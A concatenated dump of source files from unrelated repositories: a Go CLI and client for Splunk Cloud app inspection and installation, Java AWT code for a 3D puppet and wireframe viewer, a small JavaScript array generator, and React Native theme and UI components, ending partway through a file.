// StatusResult ...
type StatusResult struct {
RequestID string `json:"request_id"`
Status string `json:"status"`
Info struct {
Error int `json:"error"`
Failure int `json:"failure"`
Skipped int `json:"skipped"`
ManualCheck int `json:"manual_check"`
NotApplicable int `json:"not_applicable"`
Warning int `json:"warning"`
Success int `json:"success"`
} `json:"info"`
Links []struct {
Rel string `json:"rel"`
Href string `json:"href"`
} `json:"links"`
}
// Status of an app-package inspection
func (c *Client) Status(requestID string) (*StatusResult, error) {
resp, err := c.R().SetAuthToken(c.token).SetResult(&StatusResult{}).Get("/validate/status/" + requestID)
if err != nil {
return nil, fmt.Errorf("error while getting status: %s", err)
}
if resp.IsError() {
if e, ok := resp.Error().(*Error); ok {
return nil, fmt.Errorf("error while getting status: %s", e)
}
return nil, fmt.Errorf("error while getting status: %s", resp.Status())
}
var r *StatusResult
var ok bool
if r, ok = resp.Result().(*StatusResult); !ok {
return nil, fmt.Errorf("error while getting status: failed to parse response")
}
return r, nil
}
// ReportJSONResult ...
type ReportJSONResult struct {
RequestID string `json:"request_id"`
Cloc string `json:"cloc"`
Reports []struct {
AppAuthor string `json:"app_author"`
AppDescription string `json:"app_description"`
AppHash string `json:"app_hash"`
AppName string `json:"app_name"`
AppVersion string `json:"app_version"`
Metrics struct {
StartTime string `json:"start_time"`
EndTime string `json:"end_time"`
ExecutionTime float64 `json:"execution_time"`
} `json:"metrics"`
RunParameters struct {
APIRequestID string `json:"api_request_id"`
Identity string `json:"identity"`
SplunkbaseID string `json:"splunkbase_id"`
Version string `json:"version"`
SplunkVersion string `json:"splunk_version"`
StackID string `json:"stack_id"`
APITimestamp string `json:"api_timestamp"`
PackageLocation string `json:"package_location"`
AppinspectVersion string `json:"appinspect_version"`
IncludedTags []string `json:"included_tags"`
ExcludedTags []string `json:"excluded_tags"`
} `json:"run_parameters"`
Groups []struct {
Checks []struct {
Description string `json:"description"`
Messages []struct {
Code string `json:"code"`
Filename string `json:"filename"`
Line int `json:"line"`
Message string `json:"message"`
Result string `json:"result"`
MessageFilename string `json:"message_filename"`
MessageLine interface{} `json:"message_line"`
} `json:"messages"`
Name string `json:"name"`
Tags []string `json:"tags"`
Result string `json:"result"`
} `json:"checks"`
Description string `json:"description"`
Name string `json:"name"`
} `json:"groups"`
Summary struct {
Error int `json:"error"`
Failure int `json:"failure"`
Skipped int `json:"skipped"`
ManualCheck int `json:"manual_check"`
NotApplicable int `json:"not_applicable"`
Warning int `json:"warning"`
Success int `json:"success"`
} `json:"summary"`
} `json:"reports"`
Summary struct {
Error int `json:"error"`
Failure int `json:"failure"`
Skipped int `json:"skipped"`
ManualCheck int `json:"manual_check"`
NotApplicable int `json:"not_applicable"`
Warning int `json:"warning"`
Success int `json:"success"`
} `json:"summary"`
Metrics struct {
StartTime string `json:"start_time"`
EndTime string `json:"end_time"`
ExecutionTime float64 `json:"execution_time"`
} `json:"metrics"`
RunParameters struct {
APIRequestID string `json:"api_request_id"`
Identity string `json:"identity"`
SplunkbaseID string `json:"splunkbase_id"`
Version string `json:"version"`
SplunkVersion string `json:"splunk_version"`
StackID string `json:"stack_id"`
APITimestamp string `json:"api_timestamp"`
PackageLocation string `json:"package_location"`
AppinspectVersion string `json:"appinspect_version"`
IncludedTags []string `json:"included_tags"`
ExcludedTags []string `json:"excluded_tags"`
} `json:"run_parameters"`
Links []struct {
Rel string `json:"rel"`
Href string `json:"href"`
} `json:"links"`
}
// ReportJSON of an app-package inspection
func (c *Client) ReportJSON(requestID string) (*ReportJSONResult, error) {
resp, err := c.R().SetAuthToken(c.token).SetResult(&ReportJSONResult{}).Get("/report/" + requestID)
if err != nil {
return nil, fmt.Errorf("error while getting json report: %s", err)
}
if resp.IsError() {
if e, ok := resp.Error().(*Error); ok {
return nil, fmt.Errorf("error while getting json report: %s", e)
}
return nil, fmt.Errorf("error while getting json report: %s", resp.Status())
}
var r *ReportJSONResult
var ok bool
if r, ok = resp.Result().(*ReportJSONResult); !ok {
return nil, fmt.Errorf("error while getting json report: failed to parse response")
}
return r, nil
}
<file_sep>// Copyright 2021 Splunk Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package main
import (
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/splunk/acs-privateapps-demo/src/appinspect"
)
type login struct {
SplunkComUsername string `kong:"env='SPLUNK_COM_USERNAME',help='the splunkbase username'"`
SplunkComPassword string `kong:"env='SPLUNK_COM_PASSWORD',help='the splunkbase password'"`
}
func (v *login) Run(c *context) error {
if v.SplunkComUsername == "" {
survey.AskOne(&survey.Input{
Message: "splunkbase username:",
}, &v.SplunkComUsername)
}
if v.SplunkComPassword == "" {
survey.AskOne(&survey.Password{
Message: "splunkbase password:",
}, &v.SplunkComPassword)
fmt.Println("")
}
res, err := appinspect.Authenticate(v.SplunkComUsername, v.SplunkComPassword)
if err != nil {
return err
}
fmt.Printf("Token: %s\n", res.Data.Token)
return nil
}
<file_sep>module github.com/splunk/acs-privateapps-demo
go 1.14
require (
github.com/AlecAivazis/survey/v2 v2.2.7
github.com/alecthomas/kong v0.2.12
github.com/go-resty/resty/v2 v2.4.0
github.com/howeyc/gopass v0.0.0-20190910152052-7cb4b85ec19c // indirect
github.com/segmentio/go-prompt v1.2.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad // indirect
)
<file_sep>// Copyright 2021 Splunk Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package acs
import (
"fmt"
"io"
"github.com/go-resty/resty/v2"
)
// Client to interface with the appinspect service
type Client struct {
resty *resty.Client
token string
}
// Error ...
type Error struct {
Code string `json:"code"`
Description string `json:"description"`
}
func (e *Error) Error() string {
return fmt.Sprintf("%s: %s", e.Code, e.Description)
}
// NewWithURL client to interface with the appinspect service
func NewWithURL(acsURL, token string) *Client {
return &Client{
resty: resty.New().SetHostURL(acsURL).SetError(&Error{}).SetAuthScheme("Bearer").SetAuthToken(token),
}
}
// InstallApp ...
func (c *Client) InstallApp(stack, token, packageFileName string, packageReader io.Reader) error {
resp, err := c.resty.R().SetFormData(map[string]string{"token": token}).
SetFileReader("package", packageFileName, packageReader).
Post("/" + stack + "/adminconfig/v2beta1/apps")
if err != nil {
return fmt.Errorf("error while installing app: %s", err)
}
if resp.IsError() {
return fmt.Errorf("error while submit: %s: %s", resp.Status(), resp.String())
}
return nil
}
// App ...
type App struct {
Label *string `json:"label,omitempty"`
Package *string `json:"package,omitempty"`
Status string `json:"status"`
Version *string `json:"version,omitempty"`
}
// ListApps ...
func (c *Client) ListApps(stack string) (map[string]App, error) {
resp, err := c.resty.R().SetResult(&map[string]App{}).Get("/" + stack + "/adminconfig/v2beta1/apps")
if err != nil {
return nil, fmt.Errorf("error while listing app: %s", err)
}
if resp.IsError() {
return nil, fmt.Errorf("error while listing apps: %s: %s", resp.Status(), resp.String())
}
apps, ok := resp.Result().(*map[string]App)
if !ok {
return nil, fmt.Errorf("error while parsing response")
}
return *apps, nil
}
// DescribeApp ...
func (c *Client) DescribeApp(stack string, appName string) (*App, error) {
resp, err := c.resty.R().SetResult(&App{}).Get("/" + stack + "/adminconfig/v2beta1/apps/" + appName)
if err != nil {
return nil, fmt.Errorf("error while describing app: %s", err)
}
if resp.IsError() {
return nil, fmt.Errorf("error while describing apps: %s: %s", resp.Status(), resp.String())
}
app, ok := resp.Result().(*App)
if !ok {
return nil, fmt.Errorf("error while parsing response")
}
return app, nil
}
// UninstallApp ...
func (c *Client) UninstallApp(stack string, appName string) error {
resp, err := c.resty.R().Delete("/" + stack + "/adminconfig/v2beta1/apps/" + appName)
if err != nil {
return fmt.Errorf("error while uninstalling app: %s", err)
}
if resp.IsError() {
return fmt.Errorf("error while uninstalling apps: %s: %s", resp.Status(), resp.String())
}
return nil
}
<file_sep>// Copyright 2021 Splunk Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package main
import (
"github.com/alecthomas/kong"
)
type context struct {
Debug bool
}
var cli struct {
Debug bool `kong:"help='enable debug mode'"`
Login login `kong:"cmd,help='login to splunkbase and generate token'"`
Vet vet `kong:"cmd,help='vet the app package against the app-inspect service'"`
Install install `kong:"cmd,help=install the app package on the splunk stack"`
Uninstall uninstall `kong:"cmd,help=uninstall the app package from the splunk stack"`
Get get `kong:"cmd,help=get an app/apps installed on the splunk stack"`
}
func main() {
ctx := kong.Parse(&cli)
// Call the Run() method of the selected parsed command.
err := ctx.Run(&context{Debug: cli.Debug})
ctx.FatalIfErrorf(err)
}
<file_sep>// Copyright 2021 Splunk Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package main
import (
"encoding/json"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/splunk/acs-privateapps-demo/src/acs"
)
type get struct {
StackName string `kong:"arg,help='the splunk cloud stack'"`
AppName string `kong:"arg,optional,help='the app'"`
StackToken string `kong:"env='STACK_TOKEN',help='the stack sc_admin jwt token'"`
AcsURL string `kong:"env='ACS_URL',help='the acs url',default:'http://localhost:8443/'"`
}
func (g *get) Run(c *context) error {
if g.StackToken == "" {
survey.AskOne(&survey.Password{
Message: "stack token:",
}, &g.StackToken)
fmt.Println("")
}
cli := acs.NewWithURL(g.AcsURL, g.StackToken)
var object interface{}
var err error
if g.AppName == "" {
object, err = cli.ListApps(g.StackName)
if err != nil {
return err
}
} else {
object, err = cli.DescribeApp(g.StackName, g.AppName)
if err != nil {
return err
}
}
if data, e := json.MarshalIndent(object, "", " "); e == nil {
fmt.Printf("%s\n", string(data))
} else {
fmt.Printf("%v\n", data)
}
return nil
}
<file_sep># acs-privateapps-demo
Cloned from:
https://github.com/splunk/acs-privateapps-demo
This repository demonstrates how one can use [splunkcloud's self-service apis](https://www.splunk.com/en_us/blog/platform/splunk-cloud-self-service-announcing-the-new-admin-config-service-api.html) to build a pipeline that can continuously deploy Splunk apps to Splunk Enterprise Cloud stacks.
## Steps
The pipeline primarily consists of 4 steps:
1. Build cloudctl (`make build-cloudctl`), the CLI that will be used for the remaining steps -- this step assumes that [go](https://golang.org) is installed.
1. Package the app artifacts into a tar gz archive (`make generate-app-package`) -- this step assumes there is a top-level directory called `testapp` which contains the app.
1. Upload the app-package to the app inspect service and wait for the inspection report (`make inspect-app`) -- this step assumes the existence of the environment variables defined below.
1. If the inspection is successful, install/update the app on the stack using the self-serive apis (`make install-app`) -- this step also assumes the existence of the environment variables defined below.
The steps of the pipeline can be found [here](https://github.com/splunk/acs-privateapps-demo/blob/main/.github/workflows/main.yml).
## Setting up the environment
The environment needs to be configured with a few variables. If leveraging this from a Github repository using Github Actions workflows, the variables will need to be set up as [secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets). If running this locally, these values simply need to be set as environment variables:
* SPLUNK_COM_USERNAME / SPLUNK_COM_PASSWORD - the [splunk.com](https://login.splunk.com/) credentials to use for authentication to perform app inspection.
* STACK_NAME - the name of the Splunk Cloud stack where you want to install/update the app package on.
* STACK_TOKEN - the [jwt token](https://docs.splunk.com/Documentation/Splunk/latest/Security/Setupauthenticationwithtokens) created on the stack.
* ACS_URL - `https://admin.splunk.com`
<file_sep>build-cloudctl:
go build -o cloudCtl ./src/cmd
generate-app-package:
tar zcf app-package.tar.gz testapp
inspect-app:
./cloudCtl vet app-package.tar.gz --json-report-file=report.json
install-app:
./cloudCtl install ${STACK_NAME} app-package.tar.gz
uninstall-app:
./cloudCtl uninstall ${STACK_NAME} testapp
<file_sep>// Copyright 2021 Splunk Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package main
import (
"bytes"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/splunk/acs-privateapps-demo/src/acs"
"github.com/splunk/acs-privateapps-demo/src/appinspect"
"io/ioutil"
"path/filepath"
)
type install struct {
StackName string `kong:"arg,help='the splunk cloud stack'"`
SplunkComUsername string `kong:"env='SPLUNK_COM_USERNAME',help='the splunkbase username'"`
SplunkComPassword string `kong:"env='SPLUNK_COM_PASSWORD',help='the splunkbase password'"`
PackageFilePath string `kong:"arg,help='the path to the app-package (tar.gz) file',type='path'"`
StackToken string `kong:"env='STACK_TOKEN',help='the stack sc_admin jwt token'"`
AcsURL string `kong:"env='ACS_URL',help='the acs url',default:'http://localhost:8443/'"`
}
func (i *install) Run(c *context) error {
pf, err := ioutil.ReadFile(i.PackageFilePath)
if err != nil {
return err
}
if i.SplunkComUsername == "" {
survey.AskOne(&survey.Input{
Message: "splunkbase username:",
}, &i.SplunkComUsername)
}
if i.SplunkComPassword == "" {
survey.AskOne(&survey.Password{
Message: "splunkbase password:",
}, &i.SplunkComPassword)
fmt.Println("")
}
if i.StackToken == "" {
survey.AskOne(&survey.Password{
Message: "stack token:",
}, &i.StackToken)
fmt.Println("")
}
ar, err := appinspect.Authenticate(i.SplunkComUsername, i.SplunkComPassword)
if err != nil {
return err
}
cli := acs.NewWithURL(i.AcsURL, i.StackToken)
return cli.InstallApp(i.StackName, ar.Data.Token, filepath.Base(i.PackageFilePath), bytes.NewReader(pf))
}
type uninstall struct {
StackName string `kong:"arg,help='the splunk cloud stack'"`
AppName string `kong:"arg,optional,help='the app'"`
StackToken string `kong:"env='STACK_TOKEN',help='the stack sc_admin jwt token'"`
AcsURL string `kong:"env='ACS_URL',help='the acs url',default:'http://localhost:8443/'"`
}
func (u *uninstall) Run(c *context) error {
if u.StackToken == "" {
survey.AskOne(&survey.Password{
Message: "stack token:",
}, &u.StackToken)
fmt.Println("")
}
cli := acs.NewWithURL(u.AcsURL, u.StackToken)
return cli.UninstallApp(u.StackName, u.AppName)
}
| a52411ffdbfb16db9f0afb8dc6b20eac69562dab | [
"Markdown",
"Go Module",
"Go",
"Makefile"
] | 10 | Go | rmorlenSplunk/splunk-acs | 71da61ed696c15608598ce326547f7f974563214 | e95288187f5eced1f5ab8bbd0509a33ed6e506ae | |
refs/heads/master | <repo_name>ntaniraula/3DPuppet<file_sep>/3DPuppet/src/Wireframe.java
// Wireframe.java: Perspective drawing using an input file that lists
// vertices and faces.
// Uses: Point2D (Section 1.5),
// Triangle, Tools2D (Section 2.13),
// Point3D (Section 3.9),
// Input, Obj3D, Tria, Polygon3D, Canvas3D, Fr3D (Section 5.5),
// CvWireframe (Section 5.6).
import java.awt.*;
import java.awt.geom.*;
import java.util.*;
import library.Point2D;
import library.Point3D;
public class Wireframe extends Frame
{ public static void main(String[] args)
{ new Fr3D(args.length > 0 ? args[0] : null, new CvWireframe(),
"Wire-frame model");
}
}
//CvWireframe.java: Canvas class for class Wireframe.
class CvWireframe extends Canvas3D
{ private int maxX, maxY, centerX, centerY;
private Obj3D obj;
private Point2D imgCenter;
Obj3D getObj(){return obj;}
void setObj(Obj3D obj){this.obj = obj;}
int iX(float x){return Math.round(centerX + x - imgCenter.x);}
int iY(float y){return Math.round(centerY - y + imgCenter.y);}
public void paint(Graphics g)
{ if (obj == null) return;
Vector polyList = obj.getPolyList();
if (polyList == null) return;
int nFaces = polyList.size();
if (nFaces == 0) return;
Dimension dim = getSize();
maxX = dim.width - 1; maxY = dim.height - 1;
centerX = maxX/2; centerY = maxY/2;
// ze-axis towards eye, so ze-coordinates of
// object points are all negative.
// obj is a java object that contains all data:
// - Vector w (world coordinates)
// - Array e (eye coordinates)
// - Array vScr (screen coordinates)
// - Vector polyList (Polygon3D objects)
// Every Polygon3D value contains:
// - Array 'nrs' for vertex numbers
// - Values a, b, c, h for the plane ax+by+cz=h.
// (- Array t (with nrs.length-2 elements of type Tria))
obj.eyeAndScreen(dim);
// Computation of eye and screen coordinates.
imgCenter = obj.getImgCenter();
obj.planeCoeff(); // Compute a, b, c and h.
Point3D[] e = obj.getE();
Point2D[] vScr = obj.getVScr();
g.setColor(Color.black);
for (int j=0; j<nFaces; j++)
{ Polygon3D pol = (Polygon3D)(polyList.elementAt(j));
int nrs[] = pol.getNrs();
if (nrs.length < 3)
continue;
for (int iA=0; iA<nrs.length; iA++)
{ int iB = (iA + 1) % nrs.length;
int na = Math.abs(nrs[iA]), nb = Math.abs(nrs[iB]);
// abs in view of minus signs discussed in Section 6.4.
Point2D a = vScr[na], b = vScr[nb];
g.drawLine(iX(a.x), iY(a.y), iX(b.x), iY(b.y));
}
}
}
}
<file_sep>/3DPuppet/src/Puppet3DTest.java
import java.awt.*;
import java.awt.event.*;
import java.awt.image.BufferedImage;
import library.*;
import library.DashLine;
public class Puppet3DTest extends Frame
{
public static void main(String[] args){ new Puppet3DTest();}
Puppet3DTest()
{
super("Puppet 3D");
addWindowListener(new WindowAdapter()
{public void windowClosing(WindowEvent e){System.exit(0);}});
Dimension dim = getToolkit().getScreenSize();
setSize(dim.width, dim.height);
setLocation(0, 0);
add("Center", new CvPuppet());
show();
}
}
class CvPuppet extends Canvas implements MouseListener,KeyListener,MouseMotionListener,MouseWheelListener
{
CoordinateSys cordSys;
Puppet3D puppet;
Walker walker;
Graphics g;
BufferedImage image;
Graphics imgGraphics;
int countClick=0;
Dimension dimScene;
boolean puppetSet=false;
boolean panScreen=false;
CvPuppet()
{
cordSys=new CoordinateSys();
puppet=new Puppet3D(cordSys);
this.addMouseListener(this);
this.addKeyListener(this);
this.addMouseMotionListener(this);
this.addMouseWheelListener(this);
repaint();
}
public void paint(Graphics g)
{
dimScene=new Dimension(this.getSize().width,this.getSize().height);
image=new BufferedImage(dimScene.width,dimScene.height-40,BufferedImage.TYPE_INT_RGB);
imgGraphics=image.getGraphics();
this.g=this.getGraphics();
}
public void paintScene()
{
imgGraphics.setColor(Color.white);
imgGraphics.fillRect(0, 0, dimScene.width, dimScene.height);
if(cordSys.isSet)cordSys.drawAxis(imgGraphics);
if(puppetSet)puppet.drawPuppet(imgGraphics);
g.drawImage(image, 0, 0, image.getWidth(), image.getHeight(), this);
}
public void mouseClicked(MouseEvent evt)
{
if(!panScreen)
{
if(countClick==0)
{
cordSys.setCamera(0.75F,0.75F, 200,200);
cordSys.setCoordinateSys(200, 200, 200, new Point2D(evt.getX(),evt.getY()));
}
else if(countClick==1)
{
puppet.startPoint.x=Vector3D.mapTo3D(cordSys.origin,cordSys.org, cordSys.xXis2d,cordSys.xXis, new Point2D(evt.getX(),evt.getY()));
}
else if(countClick==2)
{
puppet.startPoint.y=Vector3D.mapTo3D(cordSys.origin,cordSys.org, cordSys.yXis2d,cordSys.xXis, new Point2D(evt.getX(),evt.getY()));
}
else if(countClick==3)
{
puppet.endPoint.x=Vector3D.mapTo3D(cordSys.origin,cordSys.org, cordSys.xXis2d,cordSys.xXis, new Point2D(evt.getX(),evt.getY()));
}
else if(countClick==4)
{
puppet.endPoint.y=Vector3D.mapTo3D(cordSys.origin,cordSys.org, cordSys.yXis2d,cordSys.xXis, new Point2D(evt.getX(),evt.getY()));
}
else if(countClick==5)
{
puppet.makePuppet(50);
walker=new Walker(puppet,this);
Thread t=new Thread(walker);
t.start();
puppetSet=true;
}
countClick++;
paintScene();
}
}
@Override
public void mouseEntered(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseExited(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mousePressed(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseReleased(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void keyPressed(KeyEvent evt)
{
if(evt.getKeyCode()==KeyEvent.VK_UP)
cordSys.camUp();
else if(evt.getKeyCode()==KeyEvent.VK_DOWN)
cordSys.camDown();
else if(evt.getKeyCode()==KeyEvent.VK_LEFT)
cordSys.camLeft();
else if(evt.getKeyCode()==KeyEvent.VK_RIGHT)
cordSys.camRight();
paintScene();
if(evt.getKeyCode()==KeyEvent.VK_SPACE)
panScreen=!panScreen;
}
@Override
public void keyReleased(KeyEvent arg0) {
// TODO Auto-generated method stub
//panScreen=false;
}
@Override
public void keyTyped(KeyEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseDragged(MouseEvent e)
{
if(panScreen==true)
{
cordSys.origin=new Point2D(e.getX(),e.getY());
paintScene();
}
}
@Override
public void mouseMoved(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseWheelMoved(MouseWheelEvent evt)
{
if(evt.getWheelRotation()>0)cordSys.zoomOut();
else if(evt.getWheelRotation()<0)cordSys.zoomIn();
paintScene();
}
}
| 0859f13e2eb4dd3e176ad3f8ec5cf2f74a7ea1a3 | [
"Java"
] | 2 | Java | ntaniraula/3DPuppet | 3b41e22fdaedf1d60621d9bb5540504db92afd7d | b92ce389df2a6ad42e6a1d82cc5799828d58ba72 | |
refs/heads/master | <repo_name>esemenov89/srez_5<file_sep>/src/main/java/controllers/ForUsers.java
package controllers;
import org.springframework.stereotype.Controller;
/**
* Created by admin on 15.05.2017.
*/
@Controller
public class ForUsers {
}
| 067b48a525454a255211f87cc00f7abf6c2c47e1 | [
"Java"
] | 1 | Java | esemenov89/srez_5 | 7ed0df79828a50fa6e5329037d2d1d1753019057 | 131fb714a334087b217d5522aab7c53e373cb8d1 | |
refs/heads/master | <file_sep># CBSample
CoreBluetoothを使ってペリフェラル のアドバタイジングを拾うだけ。
<file_sep>//
// ViewController.swift
// CBSample
//
// Created by YoshinobuHARA on 2018/01/23.
// Copyright © 2018年 Sunyou. All rights reserved.
//
import UIKit
import CoreBluetooth
class ViewController: UIViewController, CBCentralManagerDelegate {
var centralManager:CBCentralManager? = nil
override func viewDidLoad() {
super.viewDidLoad()
centralManager = CBCentralManager.init(delegate: self, queue: nil)
}
/* CBCentralManagerのdelegateメソッド */
func centralManagerDidUpdateState(_ central: CBCentralManager) {
print("CBCentralManager state has chenged")
if central.state == CBManagerState.poweredOn{
//CBCentralManagerによるスキャン開始。
centralManager?.scanForPeripherals(withServices: nil, options: nil)
//CBManagerStateがpoweredOnになるのに時間がかかるため、
//viewDidLoadで初期化直後に呼び出しても動かないので
//CBManagerStateがpoweredOnになったのを確認してからスキャンする
}
}
func centralManager(_ central: CBCentralManager, didConnect peripheral: CBPeripheral) {
print(peripheral.description + " connected")
}
func centralManager(_ central: CBCentralManager, didDiscover peripheral: CBPeripheral, advertisementData: [String : Any], rssi RSSI: NSNumber) {
print(peripheral.description + " discovered")
}
func centralManager(_ central: CBCentralManager, didFailToConnect peripheral: CBPeripheral, error: Error?) {
print(error as Any)
}
}
| ef7039e40dbff5dd65609dcec34882d212374395 | [
"Markdown",
"Swift"
] | 2 | Markdown | jcomeme/CBSample | 7f0b675d1a9ff5021fb837f4e358d71d60e15890 | e4a64c18d473af592ab8199f4b439f11c78cbb54 | |
refs/heads/master | <repo_name>kevinlpll/TrabKMeans<file_sep>/main.js
const geraArray = (k, nDim) => {
// const k = document.getElementById('k');
// const nDim = document.getElementById('nDim');
let linhas = new Array(k);
for (let index1 = 0; index1 < k; index1++) {
linhas[index1] = new Array(nDim);
for (let index2 = 0; index2 < nDim; index2++) {
linhas[index1][index2] = Math.random().toFixed(2);
}
}
return linhas;
}
const visualizaArray = (array) => {
array.forEach((linha)=>{
linha.forEach(()=>{
})
});
}
console.log(geraArray(10,10));
| b31e0c5311ef8203895f8e2d3e02c03c665a5c5c | [
"JavaScript"
] | 1 | JavaScript | kevinlpll/TrabKMeans | c5062dc08419535cf6a22dc7b814fe6962c7092e | 0d4abde9935f657132076f7d9088418dbfcec323 | |
refs/heads/master | <file_sep>import {Text, View, StyleSheet, ImageBackground, Dimensions, TouchableOpacity, ScrollView, Image} from "react-native";
import React from "react";
import Card from "../Card";
import {Color, ColorSettings} from "../../utils/Colors";
import MenuIcon from "./MenuIcon";
import {LinearGradient} from "expo-linear-gradient";
import HeaderBar from "../HeaderBar";
import {MediaType} from "../../utils/EnumTypes";
function CustomizeScreen() {
const themes = [
{source: require('../../assets/images/SampleImage.jpg')},
{source: require('../../assets/images/SampleImage.jpg')},
{source: require('../../assets/images/SampleImage.jpg')}
]
return (
<LinearGradient style={styles.container} colors={Color.MAIN_BG_GRADIENT}>
<HeaderBar title="Sahneler" size={100} />
<MenuIcon navigateTo={"Main"}/>
<ScrollView
horizontal={true}
contentContainerStyle={{
alignItems: "center",
justifyContent: "center"
}}
>
{ themes.map((theme, index) => {
console.log("ColorSettings.SelectedTheme: " + ColorSettings.SelectedTheme);
const cardStyles = index === ColorSettings.SelectedTheme ? [styles.cardContainer, styles.active] : styles.cardContainer;
return (
<View style={cardStyles} key={"theme_"+index}>
<Card lock={false} color={Color.MENU} source={theme.source} themeIndex={index} media={MediaType.THEME} />
</View>
)
}) }
</ScrollView>
</LinearGradient>
);
}
const windowHeight = Dimensions.get('window').height;
const windowWidth = Dimensions.get('window').width;
const radios = 15;
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: "center",
},
cardContainer: {
margin: 10,
},
active: {
borderWidth: 2,
borderRadius: 15,
borderColor: Color.LIGHT
}
});
export default CustomizeScreen;
<file_sep>const ThemeColors = [
{
MAIN_BG_GRADIENT: ["rgb(100,63,39)", "rgb(11,0,0)"],
HEADER_GRADIENT: ["rgb(118,83,65)", "rgb(65,40,28)"],
MAIN_DARK: "rgb(11,0,0)",
MAIN: "#01f0f5",
LIGHT: "#e0b6a0",
MENU: "rgb(11,0,0)",
TITLE: "rgba(48,16,62, 0.4)",
MOOD_BG: "rgba(0 ,0 ,0 , 0.5)",
ACTIVE_TITLE: "rgba(248,116,162, 0.5)",
DARK_TEXT_COLOR: "#000",
LIGHT_TEXT_COLOR: "#fff"
},
{
MAIN_BG_GRADIENT: ["rgb(109,71,43)", "rgb(47,23,16)"],
HEADER_GRADIENT: ["rgb(213,239,119)", "rgb(103,179,87)"],
MAIN_DARK: "rgb(255,0,0)",
MAIN: "#7bf501",
LIGHT: "#e0b6a0",
MENU: "rgb(11,0,0)",
TITLE: "rgba(48,16,62, 0.4)",
MOOD_BG: "rgb(98,150,100)",
ACTIVE_TITLE: "rgb(111,108,215)",
DARK_TEXT_COLOR: "#000",
LIGHT_TEXT_COLOR: "#a3f304"
}
]
export const ColorSettings = {
SelectedTheme : 0,
}
export const ChangeTheme = index => {
ColorSettings.SelectedTheme = index;
Color = ThemeColors[index];
}
export let Color = ThemeColors[ColorSettings.SelectedTheme];
<file_sep>import React, { Component } from 'react';
import {Dimensions, StyleSheet, Text, View, TouchableWithoutFeedback} from 'react-native';
import {Color} from "../utils/Colors";
import {navigate} from "./RootNavigation";
import {useFonts, Lato_400Regular} from "@expo-google-fonts/lato";
import {AppLoading} from "expo";
const windowWidth = Dimensions.get('window').width;
const windowHeight = Dimensions.get('window').height;
export default function MoodCard({mood, uri}){
let [fontLoaded] = useFonts({ Lato_400Regular});
console.log("MOOD CARD RENEDER: " + mood);
if(!fontLoaded){
return <AppLoading />;
}else {
return (
<TouchableWithoutFeedback
onPress={()=>{
navigate("Video", { uri });
}}
>
<View style={styles.container}>
<Text style={styles.text}>{mood}</Text>
</View>
</TouchableWithoutFeedback>
)
}
};
const styles = StyleSheet.create({
container:{
backgroundColor: Color.MOOD_BG,
borderRadius: 8,
justifyContent: "center",
alignItems: "center",
width: windowWidth * 9 / 40,
height: windowWidth * 9 / 40,
marginBottom: 10,
paddingHorizontal: 5
},
text: {
color: Color.LIGHT_TEXT_COLOR,
fontFamily: "Lato_400Regular",
fontSize: 17,
textAlign: 'center'
}
});
<file_sep>import React, {Component} from "react";
import {Dimensions, View} from "react-native";
import EventEmitter from "react-native-eventemitter";
import CustomEvents from "../../models/CustomEvents";
import { Color } from "../../utils/Colors";
import { LinearGradient } from 'expo-linear-gradient';
const windowWidth = Dimensions.get('window').width;
const windowHeight = Dimensions.get('window').height;
export default class MainBG extends Component{
state = {
bgOpacity: 0
};
componentDidMount() {
EventEmitter.on(CustomEvents.BG_RATIO_CHANGED,bgOpacity =>{
this.setState({bgOpacity});
});
}
componentWillUnmount() {
}
render() {
return(
<LinearGradient
colors={Color.MAIN_BG_GRADIENT}
style={{
width: windowWidth,
height: windowHeight,
position: "absolute",
top: 0,
left: 0,
opacity: this.state.bgOpacity
}} />
)
}
}
<file_sep>import {Text, View, StyleSheet} from "react-native";
import React from "react";
import { createStackNavigator } from '@react-navigation/stack';
import ProfileScreen from "./ProfileScreen";
